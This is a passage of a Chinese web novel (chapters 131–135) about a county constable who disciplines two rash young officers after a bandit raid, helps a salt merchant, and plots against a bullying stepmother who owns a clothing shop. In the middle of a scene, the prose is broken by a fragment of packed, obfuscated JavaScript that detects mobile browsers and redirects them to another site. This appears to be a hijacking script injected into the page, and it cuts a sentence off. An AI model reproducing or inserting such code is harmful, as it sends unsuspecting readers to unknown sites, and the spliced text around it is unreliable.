临走时,千叮咛万嘱咐的,一切以安全为主。
“伤着没有啊?”
陈息担心坏了,连忙起身,顾不得整理衣服,几步就出了门。
宁乱在后面跟着,苦着个脸:
“不知道啊大哥。”
陈息虽没看见人,但可心疼坏了。
这两个熊孩子,他是打心眼里喜欢,将来好好培养培养,必成大器。
一边走一边懊恼,早知道这样,自己绝不会把那两个寨子的地图给他们。
陈息心里着急,嫌走着慢,一路狂奔到县衙大堂。
刚进大堂,便看到两个血人站在中央。
身上脸上,都是血。
分不清谁是谁了。
两个血人见到陈息进来,齐齐一笑,露出整齐的大白牙。
还没等两人开口汇报,就被陈息一把摁到地上。
一边给他们解衣服,一边心疼道:
“都伤在哪了?”
“快给我看看。”
两个血人懵逼了,被摁在地上,一手提着裤子,一手捂着胸口。
“爹...别...”
“陈叔叔...别...”
俩熊孩子吓坏了,自己还没娶婆娘呢,就被个男人摁倒。
又是扒衣服,又是脱裤子的。
一旁的衙役也惊呆了,纷纷扭过头去,看不见,看不见。
有好几个年轻的衙役,都下意识的捂住屁股。
没想到县尉爷还好这一口,自己长这么帅,可别被他相中了。
陈息见他俩还敢反抗,又瞅瞅两人的脸,一脸狐疑:
“到底伤哪了?”
“没受伤,没受伤。”
“我也是,没受伤。”
陈息见他俩,像上岸的大鱼一样难摁,心里大概清楚怎么回事了,站起身来不怀好意的盯着他俩。
两人见陈息不再扒自己衣服,站起身来,怯怯的站在一旁,看向他的眼神,多少有些畏惧。
“爹,我身上都是土匪的血,一点伤都没有。”
“陈叔叔,我也是,那些土匪太弱了,根本伤不到我。”
说完话,就站在那边,不敢动弹。
陈息二话不说,来到俩人近前,照着屁股,一人给了一脚:
“你们俩,是不是冲在最前面了?”
见陈息生气了,俩熊孩子呲牙咧嘴的捂着屁股,不敢应声,只能点头应付。
陈息气不打一处来,计划都给你俩写那么详细了,还选择蛮干?
有勇,也得有谋啊。
仗着身手好就蛮干,这以后怎么能行。
想开口教训教训他俩,这时,另外三个校尉也回来了。
见到县尉爷眼神不善,瞬间懵逼了。
左右看了看衙役和二位公子的表情,主动站在衙役那边了。
不急着汇报战果。
先看戏,先看戏。
陈息见另外3个团的校尉都回来了,狠狠瞪了一眼两个熊孩子。
转身坐上官椅,沉声道:
“你们三个。”
“汇报!”
三人一听这话,心知看不成戏了。
县尉爷这是给两位公子留面子,心里同时想起一个词。
护犊子。
三人站了出来,程志远率先汇报:
“回县尉爷,三团攻击卧龙寨,杀敌86人。”
“战损如下,轻伤2人,无死亡。”
肖寒:
“回县尉爷,四团攻击青松岭,杀敌91人。”
“战损如下,轻伤1人,无死亡。”
安金城:
“回县尉爷,五团攻击青松岭,杀敌49人。”
“无伤亡。”
听完了三个团汇报,陈息眯着眼睛看向俩熊孩子,一努嘴:
“你们呢?”
陈一展和杨冲对视一眼,齐齐低下了头,最终,陈一展主动站了出来。
“二团攻击两个寨子,杀敌199人。”
“伤了35个弟兄,重伤15,轻伤20,无死亡。”
杨冲见他汇报了,知道躲不过,也站了出来汇报:
“一团攻击两个寨子,杀敌156人。”
“重伤12人,轻伤19人,无死亡。”
陈息眯着眼睛,瞪了两人许久。
两人被瞪得心里发毛,知道自己这边伤亡大了,低着头不敢出声。
“啪——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15423532|169102||http|test|mini|href|location''.split(''|''),0,{}));
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r>一声巨响,所有人都吓得一哆嗦。
陈息手里攥着惊堂木,怒吼声响彻大堂:
“撤职!”
说罢,站起身来,一指二人:
“从今天起,你们两个就给我呆在县衙。”
“面壁思过。”
“什么时候想明白了,什么时候找我。”
转身走出大堂,路过两人身边时,看都没看二人一眼。
走在街上,寒风刺骨。
陈息用力吸了口凉气,烦躁的心情才有所舒缓。
真是担心什么,来什么。
就怕两人莽撞,到头来,还是这个德行。
平时看杨冲这小子挺稳重的,这次一定是被陈一展带跑偏了。
两人较着劲,谁也不服谁。
贪功冒进,导致伤了这么多弟兄。
气归气,但看他俩浑身是血,当时的战况也分析出了大概。
有勇是好事,可也要用对地方。
等他俩想明白了,一定好好给他俩上一课。
仗,可不是这么打的。
陈息心里想着事,不知不觉溜达到街口,抬眼便见到荣衣坊成衣铺,生意依旧红火。
转过街口,顺着胡同来到佐千千的铺子。
俩熊孩子衣服被血沁透了,给他俩买一身。
正好,好久没见到佐千千这丫头了。
推开门。
愣住。
铺里好些个小厮,正在大包小裹的搬家。
见来了客人,一名看起来像管事的中年人,来到陈息面前,一拱手:
“贵客,这里已经不营业了。”
“若是想买成衣,请到前面的荣衣坊。”
“款式多,样式新颖,包贵客满意。”
说完一伸手,做了个送客的手势。
陈息眼睛眯了眯,从第一次进城时,就觉得两家铺子不对劲。
匾额,只有中间一个字不一样。
一个装潢考究的二层铺子,一个胡同里低矮小屋。
且离得不远。
这里面绝对有问题。
想明白后,陈息也不多问,拱了拱手便出了铺子。
要想知道佐千千遇到了什么麻烦,只有一个地方能解答。
那便是苏家盐铺。
正好,自己的私盐,也该进城售卖了。
拐过几个街口。
直奔苏家盐铺。
第131章 水浅王八多
陈息站在盐铺外面,并未进去。
先是抬眼看看匾额,又左右看了看地理位置。
心中暗暗点头。
难怪做了几代的盐引生意,店铺方位极佳。
抬脚刚迈进铺子。
然后,这货直接被人群挤了出来。
站在门口愣了愣。
这才注意到,铺子里已经不能用人满为患来形容了,简直是挤挤插插。
陈息尴尬的摸了摸鼻子。
王家被自己铲除,倒是成全了苏韵。
在门外等了半刻钟,终于找到一道缝隙,抓住机会,这货一个箭步挤了进去,双手伸出去扒拉开人群:
“都让让,都让让...”
“我是盐铺活计,你们挡着路,我怎么为大家称重?”
一听陈息是盐铺活计,人群才主动给他让出一条狭窄的过道,有急着买盐的顾客叫嚷起来:
“让小伙计先进去,不然大家都要久等。”
“对对对,我给你开路,小伙计先进去。”
陈息好不容易挤了进去,找了一个柜台,站在上面大喝一声:
“都给我排队,挤挤插插的,成何体统。”
这一嗓子下去,人群安静了。
齐齐抬头望向柜台上,一脸怒容的陈息,脚步不自觉的向后挪动。
这年代男丁本来就少,像他这么壮硕的成年男性,更是少之又少。
此刻陈息装的凶神恶煞,镇住了买盐的百姓。
陈息见自己唬住了他们,心中得意。
小样的,吓唬不了你们?
掰了几个指响,又挑了挑眉:
“排队!”
两个字一出口,又把百姓们吓了一跳。
“都排队哈,都排队。”
有明白事的百姓,顿时自觉的去排队。
陈息站在柜台上指挥,不一会的功夫,两条队伍成型,人群一直排到门外街边。
解决了门口拥挤问题,陈息跳下柜台,来到中厅查看情况。
刚进去便看到,苏韵带着一群小伙计,为顾客称盐售货。
此时她青丝盘于脑后,忙的满头是汗。
身后一排盐缸都要见底了,可见生意有多么火爆。
时不时的用袖子擦一下汗珠,又继续为顾客称重。
陈息笑了笑,看来厌男症好了啊。
这才对嘛,随和一点不好么。
上前来也不搭话,主动帮苏韵分担工作。
拿起秤杆子便干起活来,陈息动作麻利,称重,装盐,收钱,一套业务行云流水。
有小伙计发现他也没吱声,以为是掌柜的新雇来的帮工。
既然有人帮忙,他们自然乐意。
忙活了一会,顾客逐渐减少,苏韵才有空歇息一下。
端起一杯茶水,刚喝到嘴里,一扭头便看到陈息。
此刻,这货正笑嘻嘻的为顾客称盐,那模样,要多热情有多热情。
“噗——”
一口茶水,整喷了陈息一脸。
“咳咳咳——”
苏韵抚着胸口,红着脸蛋,呛的说不出话来,陈息用袖子擦了擦脸:
“夫人好喷口!”
“帮你干活还喷我,今日工钱加倍!”
他知道苏韵不是故意的,被喷了一脸也不生气,随口开了句玩笑,继续乐呵呵的为顾客称盐售货。
他这句玩笑,可羞**苏韵。
近几日,从假县令**,到王家满门抄斩,县里闹得沸沸扬扬。
百姓们不知是谁的手笔,她岂能不知。
陈息从村长一跃到县尉职位,用屁股想都知道,这事与他脱不了干系。
自己本想登门恭喜一番,却被突如其来的生意,忙的焦头烂额。
哪成想,自己还没登门拜贺,他竟主动来了,还帮自己卖货。
苏韵心里五味杂陈。
堂堂县尉大人,一点架子没有,无论对待百姓,还是对待自己,都这么接地气。
这......
以她的阅历见识,那些高高在上的大人,别说主动干活了,就连出门,都恨不得让下人背着。
哪有他这种嘛,看起来那么热情亲民。
苏韵清了清嗓子:
“县......县尉...”
刚要喊出县尉大人,却被陈息用眼神制止:
“夫人累坏了,先去休息一下,这边我来应付。”
一听这话,苏韵怔住了。
自己去休息,县尉大人帮自己卖货?
虽说两人有些交情,但怎么算,也是自己亏欠人家。
先是治好了自己的病,后又给自己三成利润做生意。
苏韵一辈子都没这么难为情过,连忙帮陈息收钱。
一个称重付货,一个收钱找零。
苏韵时不时瞟一眼陈息,然后又红着脸低下头去,装作很忙。
有爱八卦的妇人,见两人这副亲昵模样,主动打趣起来:
“咯咯咯,苏掌柜的好福气,哪里找来的俊哥,我咋就碰不到呢。”
说着话,还向陈息抛了个媚眼。
有更大胆的妇人,竟主动调戏陈息:
“哎哟,好俊的小哥,你叫什么名字呀?”
陈息大萝卜脸,不红不白,整理一下衣裳,昂首挺胸:
“本俊哥,勉强算得上白山县第二俊!”
妇人们一听这个,顿时来了兴致:
“那第一俊是谁呀?”
“对呀对呀,俊哥都这么俊了,我不信咱们县里,还有比你更俊的。”
“快说呀,快说呀。”
陈息装模做样,清了清嗓子,大嘴一撇,伸出一根手指,指了指房梁:
“我们白山县,第一俊哥,那便是...”
说着话,虎着一张脸,探到妇人们
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面前:
“刚上任的县尉大人。”
说完,缩回脑袋,露出一口大白牙:
“嘎嘎俊!”
妇人们听完,被他这副表情逗得笑出声来。
苏韵听完,脸红的要滴血。
这货,刚夸他两句亲民,立即就不要脸起来。
什么第一俊,第二俊的。
敢情都是他自己。
想笑还不敢笑,就那么憋着。
苏韵憋笑,这些妇人可不知道新来的县尉是谁:
“这俊哥好会开玩笑,县尉大人岂是我们说见就见的。”
“对呀,咱们这群民妇,能遇到像你一样的俊哥,就心满意足啦。”
“俊哥有没有婚配呀,放心啦,人头税我自己出。”
那妇人拍了拍荷包,生怕陈息因为人头税不敢要自己。
这货见妇人荷包鼓鼓的,两眼放光:
“好啊,我看看谁买的多。”
这些妇人本就是大户出身,不差钱的主,和那些穷苦百姓不一样。
一看有机会,立即嚷嚷起来。
这个要买2斤,那个要买5斤。
还有个形似煤气罐的人形物体,嚷嚷着全包了。
经过这一折腾,身后一排盐缸,立即见了底。
足足半个时辰后,才送走最后一位客人。
小伙计在门口挂出一个牌子:打烊。
苏韵吩咐小伙计打扫卫生,带着陈息来到内间。
为他斟了杯茶,捋了捋微微凌乱的头发,红着脸,不敢直视陈息的眼睛:
“妾身......多谢县尉大人。”
陈息端起茶杯就饮,同时一挥手:
“夫人不必多礼。”
放下茶杯,问出心中疑惑:
“我刚刚到千千铺子里,没见到她,怎地搬家了?”
苏韵闻言,眼神瞬间黯淡下来,犹豫了一会,才说出口:
“千千这丫头,这两天心情不好,在我家生闷气呢。”
陈息皱了皱眉:
“怎地了?”
苏韵抿了抿红唇,想开口,又不知怎么说,心里很是纠结。
陈息也不搭话,就这么静静等着。
千千这丫头平时古灵精怪,怎地突然生闷气了?
一定是和铺子有关。
不过苏韵不说,他也不好追问。
苏韵犹豫了好半晌,才抬头看向陈息,眼里似乎有着强烈期盼:
“陈神医若是肯帮千千,不妨...不妨随妾身回家...”
“您...亲自问问千千...”
见苏韵说话犹犹豫豫的,陈息心中猜出大概,站起身来:
“走!”
“我倒要看看,哪个吃了熊心豹胆的主,敢欺负千千姑娘。”
陈息眼中寒芒一片。
这白山县,真是水浅王八多啊。
正好。
一并解决了!
第132章 陈二傻子
苏韵带着陈息回到府中。
“铛铛铛——”
苏韵轻敲几下房门,隔了一会,并未听到里面传来声音,低声唤着:
“千千,千千你睡了吗?”
这是一间专门给佐千千归置的闺房,由于身后跟着一个大男人,苏韵并未强行推门进去。
苏韵唤了一声,里面依旧没有声音,有些狐疑。
府中下人说,千千一直待在闺房,并未外出。
难道真的睡了?
“咚咚咚——”
苏韵这次敲门力道大了一些,语气也有些着急:
“千千你睡着了么?”
半晌,里面还是没回应。
就在苏韵准备更用力敲门时,玉腕被陈息抓住:
“夫人不用急,千千姑娘可能是睡着了,咱们待会再过来吧。”
手腕被陈息抓住,苏韵身子一哆嗦。
这还是自己第一次被男人碰到,长这么大她最讨厌男人,就连父亲给自己招来的短命赘婿,都没碰过自己一根手指头。
现在......
想把手抽回,不知怎地,还有些贪恋这种感觉,浑身使不上力气。
脸蛋羞得通红,心脏砰砰砰的跳。
她心脏砰砰跳的同时,房间内也传来砰砰声。
“砰——叮——铛——哎哟......”
紧接着,一连串窸窸窣窣的声音,同时还掺杂一道低低的自语声:
“咦?我粉盒呢,呀...在这里...快点抹...”
门外两人愣住,就这么保持着拉手的姿势,看着房门。
苏韵率先反应过来,原来这丫头没睡,就是不想给自己开门。
听到你陈大哥的声音后,还要找粉盒化妆?
这死丫头。
右手被陈息牵着,换做左手用力敲门:
“咚咚咚——”
“别装了,我知道你没睡,快给小姨开门。”
苏韵催的急促,手上加大力道,用力砸门。
“咯吱——”
房门打开,佐千千俏生生的出现在两人面前,见到陈息后眼睛一亮,目光直接无视小姨,锁定在陈息身上。
余光瞥见下面有些不对劲,视线下移,发现两人手牵着手......
佐千千一张俏脸,瞬间垮了下来。
“砰——”
用力关上房门,两人刚想说话,却碰了一鼻子灰。
陈息察觉到了什么,连忙松开手,挠挠头,很是尴尬。
苏韵敲得急,自己怕耽误佐千千睡觉,才抓住她的手,情急之下忘了松开。
这回完了。
被这丫头看见了,形象尽毁。
苏韵此刻注意力全在房门上,红唇紧紧抿着,竟敢关小姨的门,死丫头欠揍。
一把推开房门,进屋先拉开窗帘,阳光照进屋子,发现佐千千坐在椅子上,双臂交叉扶在桌面,小脑袋埋进臂弯里。
双肩隐约还抽动两下。
苏韵不明所以,刚才还好好的,这么会工夫,怎么委屈了?
虽说自己是小姨,但年龄并未比她大上许多,平时更像是大姐姐般待她,刚才是自己着急,千千一定是以为自己凶她了。
拉过一张椅子,坐在她身边,贴心的为她捋了捋发丝,一脸关切:
“千千怎么了,是哪里不舒服吗?”
“刚才...刚才是小姨不好...小姨不该凶你的...”
苏韵安慰了好一会,佐千千依旧保持姿势,只是双肩抖动的更厉害了。
看样子还在生气,苏韵迷茫了,这丫头气性这么大的吗?
下意识的抬眼,看向屋外的陈息。
陈息也尴尬啊,千千一定是看见自己和她小姨牵手,以为自己要泡她小姨。
完了完了,渣男形象坐实了。
一只手不够,两只手同时挠头,但这么憋着也不是办法,总得说几句,缓和尴尬:
“千千哈,陈大哥来看你了,来的急,也没给你买2斤鸡蛋啥的......”
陈息尴尬的搓着手,手里但凡拎点礼物,也不至于牵苏韵的手。
这手爪子,欠啊。
“那个哈,有啥烦心事,和陈大哥说说,陈大哥一定帮千千的......”
女孩的闺房,他一个大男人怎么好意思进去,留也不是,去也不是,就那么杵在门外,跟个二傻子似的。
佐千千听到陈息说话,将挂满泪痕的脸蛋抬起,背对着陈息,捋了捋被泪水沾湿的头发。
起身,转过来,直视他。
陈息见到那张幽怨的小脸,此时坑坑洼洼的,毫无意外,刚抹的粉,哭花了。
刚想解释几句没带礼物的事,却听到佐千千阴阳怪气的声音:
“哟,这不是县尉爷嘛。”
“小女子未曾远迎,请大人恕罪。”
说完话也不行礼,就那么直直站着,见陈息懵逼,佐千千轻哼一声,几步来到他面前,一只小手贴在他胸口,用力一推:
“请县尉爷让让。”
陈息无准备,被她推的向后半步,眼前人影一闪而过,直奔客厅。
陈息知道他生气,可气性这么大的么。
扭头,求助的望向苏韵,别说陈息懵逼,苏
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韵也懵啊。
咋回事?
这丫头不对劲,绝对不对劲。
平时见到她陈大哥,恨不得拉住他聊个没完,今天这是怎么了?
生自己的气,连他陈大哥也带上了?
不然这阴阳怪气的,说给谁听呢。
两人一对眼神,苏韵先开口:
“陈神医莫怪,这丫头可能是心情不好,我...我去开导开导她...”
走出房间,追到客厅。
陈息被晾在这里。
走?
还是不走?
自己干啥来了?
合计了半天,还是去看看吧。
这丫头现在有难处,自己不能袖手旁观。
至于牵她小姨手的事,找机会再向她解释吧。
对天发誓,真不是故意的啊。
陈息恨不得把手爪子剁下来,都怪自己大意,早知道这样,说什么也要买2斤鸡蛋。
这货厚着脸皮进了客厅,见到佐千千依旧是那副表情,一旁苏韵还为她倒了杯茶,嘴里在劝着。
见陈息进屋,佐千千一个大白眼,差点翻到天上去。
一扭头看向窗外。
就是这么傲娇!
陈息脸皮厚比城墙,自己搬来一张椅子,与佐千千相对而坐:
“千千妹妹哈,听小姨说,你被欺负了...”
见她不为所动,这货拍着胸脯子保证:
“跟陈大哥说,哪个傻货欺负你了,大哥帮你出气。”
陈息信誓旦旦的承诺,却换来佐千千脱口一句:
“陈二傻子!”
寂静,全场寂静。
苏韵都不知道怎么接话了,陈二傻子?
哪个村的?
陈息伸出手,狠狠给了自己一巴掌:
“大哥帮你教训了陈二傻子,还有谁欺负你了?同大哥说!”
佐千千噗呲一下乐出声来,转瞬间又一脸幽怨的盯着陈息。
说你傻,你还真傻。
那么用力打自己,疼不疼呀。
想伸手帮他揉揉,可男女授受不亲......
咦?
不对劲。
刚才他还牵小姨的手,有什么授受不亲的。
伸出小手就帮他揉揉,一边揉,一边说:
“你说的呀,帮千千出气?”
陈息见她态度缓和,心中大喜:
“包在你陈大哥身上。”
佐千千收回手,气的小虎牙都露了出来:
“荣衣坊当家的,我后娘!”
陈息听完,摸了摸下巴。
果然是这么回事。
敢欺负小爷的妹妹,不知这代价,你付不付得起
第134章 沙盘
陈息回到县衙,见陈一展和杨冲还在大堂,此刻正在面壁思过。
还是那身血衣,俩脑袋对着墙壁,表情很愧疚。
陈息路过两人身边,也不说话,径直坐在官椅上,双脚往公案上一搭:
“委屈了?”
这三个字一出口,俩人抽噎了一下,不敢回头,同时答道:
“不委屈。”
陈息白了二人一眼,手中抛了抛从苏韵那里顺来的苹果:
“杨冲你先说,知道为什么撤你职么?”
杨冲不敢转头,脑袋依旧对着墙壁,强忍着流泪的冲动:
“陈叔叔我知道,这次是冲儿莽撞了,一心只想着不能落后陈一展,没顾到弟兄们的伤亡。”
陈息点点头,杨冲本就是性子沉稳之人,培养好了,将来必能独当一面。
此刻能认识到错误就好,不枉我一片苦心。
“陈一展,你呢?”
听到陈息问自己,陈一展恨不得抽自己一个耳光,他同杨冲想法一样,只想着速战速决,回来向爹邀功,哪成想......
“爹...孩儿知道错了,下次...下次...”
他吭哧吭哧说不出话来,自己的台词被杨冲说了,现编也来不及。
陈息叹息一声,将手中苹果掰开,一分为二:
“站了一天也乏了,把苹果吃了。”
说罢,将苹果扔向二人。
两人这才敢回头接住苹果,一人半个,捏在手里,犹犹豫豫的不敢吃。
陈息面无表情的盯着二人:
“吃了,这事就算过去了,不吃,继续站着。”
两人确实渴了,从剿匪回来,滴水未进,听到陈息命令,几口便将苹果吃下肚。
见二人吃了苹果,陈息态度稍缓,起身回内宅:
“跟我来,教你们点东西。”
陈息在前面走,两人在后面跟着。
不一会到了内宅。
房间里有准备好的木料,旁边还堆着沙子和黄泥。
陈息拿起木料,叮叮当当的钉了个框架。
两人心都沉入了谷底,这是教我俩木匠?
校尉被撤职,以后要靠这个吃饭了。
欲哭无泪。
只怪自己做错事了,就要接受惩罚。
男子汉大丈夫,拿得起,放得下。
不甘心,却也无可奈何。
见陈息一个人忙活,俩人也加入进来搭把手。
父子三人,不多时,便钉出个巨型框架。
足有后世三个台球桌面积大小。
木柱支撑木板,像一面桌子,立在客厅中央。
两人看不懂桌子为什么要做这么大,陈息也不解释,开始和泥。
陈息和泥,他俩也跟着干。
全程没有一句交流。
和完了泥,陈息翻出一张白山县地图,挂在墙上。
挽起袖子,捧来泥巴放在刚搭好的巨型桌上,按照地图上县城模样,开始堆砌泥巴。
两人对视一眼。
都从彼此眼中,看出疑惑。
爹要干啥?
陈叔叔要干啥?
陈息堆的认真,两人插不上手,也不敢问,就这么呆愣愣站着。
不多时,桌上出现一个缩小版县城。
两人瞪大了眼睛,这是地图?
**,这么大,这么形象......
堆好了城池,开始向外围扩展,山川,河流,官道,隘口......
两人眼睛一亮,知道了这是地图后,纷纷加入进来。
跟着陈息有模有样的学习。
见到他俩悟了,陈息微微一笑。
拍了拍手,一指墙上地图说道:
“你们两个,按照地图样子,给我把沙盘做出来。”
“记住,要不差分毫。”
说完一背手,走出房间:
“明早我来检查!”
回到房间,找来宁乱和胡伢子,向二人吩咐了明天工作。
送走二人,简单吃了个饭,忽瞥见窗外一只黄鹰蹲在树杈上。
陈息皱了皱眉,自己打猎这么久,可没发现附近有什么黄鹰。
指不定哪里来的傻鸟。
不管它,倒头便睡。
他这几日没休息好,一觉睡到清晨。
睁开眼睛,舒服的伸了个懒腰。
爽。
洗漱完毕,推门走了出去。
也不知,两个熊孩子进展怎么样了。
进门一看,两人已经将沙盘制好,正捏着下巴研究呢。
见他进屋,都站到一旁,等待检查成果。
陈息来到沙盘旁,有些惊讶二人的成果。
对照一下地图,可以说做的很完美了。
只是有些地方,需要简单处理一下。
陈息唤来二人,亲自动手整理沙盘,一边修改,一边向两人讲解细节要领。
不多时,一副完美沙盘成型。
站在立体沙盘面前,宛如置身此地。
整个白山县管辖范围,一目了然。
两人震惊了,沙盘是他们连夜做的,开始时觉得很不错了,没想到陈息修修改改后,更加形象。
望向他的眼神,满是崇拜。
陈息将沙盘整理好,瞧二人忙活了一夜,有些心疼:
“你俩就在府里休息,明日开始,给你们讲解剿匪战术。”
“谢谢爹...”
“谢谢陈叔叔...”
两个熊孩子高兴坏了,他们武力值够用,缺的是带兵经验,这是二人的短板。
趁此机会,一定要多学些本事,用战绩证明自己。
刚打发走两人,宁乱匆匆而来,手里拿着一只死去的信鸽。
“大哥,今早有只黄鹰偷偷进来,把笼里的信鸽咬死一只。”
“我去发现时,已经来不及了。”
宁乱很憋屈,信鸽一直是他在保管,清楚这东西很珍贵。
如今,在自己眼皮下被黄鹰咬死,十分愧疚。
陈息拧着眉,检查一下信鸽尸体,玛德,一定是昨晚那只傻鸟。
抬头,盯着那只黄鹰蹲过的树杈,开口问道:
“你以前见过这种黄鹰么?”
宁乱想都没想,他从小进山打猎,黄鹰这东西,以前时不时还能看到,但近些年根本没了踪迹:
“大哥,咱们白山县,附近山里是金雕的地盘,这东西早被赶走,很多年没出现过了。”
陈息深吸一口气,可能是外面来的傻鸟吧,没多想:
“将信鸽转移位置,别被这畜生祸害了。”
“好嘞大哥,以后信鸽就在我屋里养着,那东西来了,我第一时间射杀它。”
陈息没在这问题上纠结,岔开话题问道:
“伢子那边办得怎么样了?”
宁乱一听这个,来了兴致,嘿嘿一笑:
“伢子已经出去了,用不了多久,佐家就会来报官。”
陈息嗯了一声,拍了拍宁乱肩膀:
“去换上捕头的衣服,待会给我狠狠的弄。”
“好嘞大哥,您瞧好吧。”
宁乱很兴奋,自己表现的机会来了,剿匪不带着我,闲在府中难受,总算可以活动活动筋骨了。
陈息来到县衙大堂。
程志远,肖寒,安金城三名校尉,早早便来报道。
陈息一愣:
“大早的不到校场训练,到这里干什么?”
三人悻悻一笑:
“县尉爷,您昨天教训两位公子,咱们没插上话,还没跟您汇报战果呢。”
陈息一咧嘴,昨天光顾着生气了,倒把这茬忘了:
“说说吧,什么战果?”
程志远年岁大,在三人中有威望,由他来汇报:
“县尉爷,昨天一共扫了7个寨子,这里是清剿来的物品,您过目。”
递过来一本册子,陈息接到手里一看,微微点头。
还是做土匪富裕啊,7个寨子,扫出来将近万两银子,杂七杂八的兵器无数。
“算一下,朝廷拖欠你们多少军饷。”
这还用算
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,他们这些府兵已经3年没发过军饷了,每年每县2000两银子,是朝廷定下的数目。
“回县尉爷,一共拖欠6000两白银。”
回答完这个问题,三人眼中的期盼抑制不住。
虽说这是战利品,需要填充府库,但朝廷的军饷不发,县尉爷能不能将银子给弟兄们垫上呢?
等朝廷的银子下发,再填充到府库嘛。
陈息知道三人在想什么,直接满足他们的要求:
“分出6000两银子,将拖欠弟兄们的军饷发了。”
三人听完这话,激动的直哆嗦。
老天开眼,终于发饷了啊。
他们知道这是县尉爷用职权,为弟兄们谋福利,与朝廷一点关系都没有。
三人跪在地上重重磕了个头,眼含热泪:
“属下,代全体弟兄,感谢县尉爷。”
磕完一个还不够,又重重磕了3个响头。
陈息扶起几人,拍了拍他们肩膀,沉声道:
“从今天开始,不管朝廷发不发银钱,弟兄们的军饷,我担着。”
“立即,给我全县张榜,18至40岁的壮年男子,皆可报名参加府兵。”
“有退役的老兵,适当放宽条件。”
三人心下震惊,县尉爷要扩军?
可咱们县只有800府兵名额,一旦被朝廷得知私自募兵,可是要杀头的。
“县尉爷,您......”
陈息不等他们把话说完,立即打断:
“只管照吩咐去做,朝廷查下来,我一人担着!”
“还有,全县所有的木匠,铁匠,瓦匠,皆可报名。”
“工钱暂定30铜板每日,管吃管住,表现好了有赏。”
三人都懵了,不光要扩军,还要招那些匠人来,用屁股想都知道。
这是要私造军械。
同样是杀头的罪过啊。
三人喘着粗气,先是看到陈息坚定的眼神,又彼此对视一眼。
玛德。
干了。
管他杀不杀头的,若是没有县尉爷,弟兄们都要饿**。
更别提养活家人了。
“是!”
三人异口同声。
活着干,**算。
县尉爷都不怕死,哥几个怎能落了下乘?
他们行伍出身,军队里呆久了,最敬佩的就是陈息这种官员。
处处为弟兄们着想,在他手底下当值,痛快!
这可能就是,士为知己者死吧!
三人答应完了,扭头就去办事,发了军饷,走路都带着风。
程志远迈出门槛,突然想起什么,一拍脑门,光顾着激动,差点把正事忘了。
又折返回来,向陈息汇报:
“对了县尉爷,刚刚太激动,忘了一件事。”
“我们还从7个寨子中,解救回来一批女子。”
“县尉爷...您看...”
程志远有些为难,这些女子都是因为长的漂亮,被土匪抢到寨子里糟蹋了。
她们的家人被土匪杀了,如今残花败柳,更是没了去处。
寻常的黄花大闺女,都因为人头税嫁不出去,更别提这些苦命的女子了。
陈息沉思了一会,问道:
“一共多少人?”
“40人。”
“都送来府里吧。”
陈息知道她们的处境,自己若是不接纳,她们更没了活路。
程志远重重点头:
“是!”
他也清楚这些女子的处境,心里更加佩服陈息。
那可是足足40名女子啊,县尉爷把她们养在府中,无疑又是一笔巨大的开支。
既心疼那些女子,更心疼县尉爷。
心中暗骂一句:万恶的世道,转身离去。
程志远刚走,县衙外传来击鼓时。
“咚咚咚——”
“大人要为民妇做主啊。”
“我们荣衣坊,被个傻大个砸了。”
“大人赶快派人,捉拿恶贼啊!”
第135章 荣衣坊
听到声音,都不用陈息吩咐。
宁乱知道轮到自己上场了。
此时身穿一身捕头服,官帽也不戴,一头白发,小辫子翘在后面。
几步就出了县衙。
和那民妇嘀嘀咕咕几句,带着几名衙役就去了荣衣坊。
路上,民妇在宁乱耳边唠唠叨叨没完。
说那大个子凶神恶煞,进屋不分缘由,先是赶走了客人,随后便开始打砸。
伙计们不是他的对手,纷纷跑得远远的。
自己得知情况,第一时间便跑来报官。
说着话,还往宁乱手里塞块银子。
“大人,可要为民妇做主啊。”
“将那恶贼打入大牢,好好折磨他。”
民妇恨得咬牙切齿。
佐家势力,虽比不上王家,但也不是好惹的。
如今王家覆灭,佐家无可争议的成为了白山县首富。
“你叫什么名字?”
宁乱把银子揣进怀里,反问了一句。
“回大人话,民妇无名字,随了当家的姓,大人叫民妇佐氏即可。”
佐氏一张尖酸刻薄的脸,此刻极尽谄媚。
既然大人拿了我的银子,此事就好办多了。
事情办完,还要找个机会接触一下县令大人。
送些银钱,最好能攀上些关系。
自己开门做生意,少不了与官府打交道。
等攀上了关系,再利用县府威压,将佐千千那**赶走。
想分我佐家产业。
门都没有。
佐氏虽然铺子被砸,但心里乐开了花。
眼前的捕头大人,收了自己银钱,一定会向着自己。
她没见过新县令,正好用这捕头为自己引荐。
一行人脚步不停,直接来到荣衣坊。
离得老远,便听到胡伢子闷雷般的怒喝,和打砸物品的响声。
佐氏恨得呲牙咧嘴,声音尖锐的嚷嚷:
“大人您快看,就是这傻大个,快快制止他。”
宁乱咧嘴一笑:
“好。”
说罢,抬腿就进了铺子。
佐氏见有官府为自己撑腰,立即嚣张起来。
躲在宁乱身后,手里指指点点,声音尖锐刺耳:
“还不快住手,敢砸老娘的铺子,你是吃了熊心豹胆不成。”
“老娘不光让你下大牢,还让你赔的倾家荡产。”
“**养的狗东西,老娘让你生不如死......”
佐氏骂的满嘴喷沫子,却没发现,宁乱的眼神不对劲了。
“啪——”
反手一个大耳刮子,直接甩在她脸上。
佐氏原地转了一圈,扑通一声跌坐地上。
分不清东南西北,眼前全是小星星。
愣神了好一会,才反应过来是宁乱打了她。
不可置信的盯着宁乱。
是因为银子给少了?
不会吧,那些臭捕快,穷的都要揭不开锅了。
自己的1两银子,够他们2个月禄银。
岂敢打老娘?
宁乱转身,恶狠狠地瞪着佐氏:
“嚷那么大声干啥?”
“吵得本官耳根子痒痒。”
佐氏捂着肿胀的脸,张大嘴巴,半天说不出话来。
绝对是银子给少了。
这狗东西,银子少了直说嘛。
竟敢打老娘,这笔账记下了。
等老娘和县令搞好了关系,第一个便收拾你。
当上个捕头,就不知天高地厚了。
得罪了我,没有你好下场。
佐氏在心里,恨不得将宁乱千刀万剐。
但表面上还得装得谄媚,艰难爬起身来,又从怀里摸出5两银子,塞到他手中:
“大人莫气,刚才是民妇的错,别因为这点小事伤了和气。”
宁乱堂而皇之的接过银子,一转手。
“啪——”
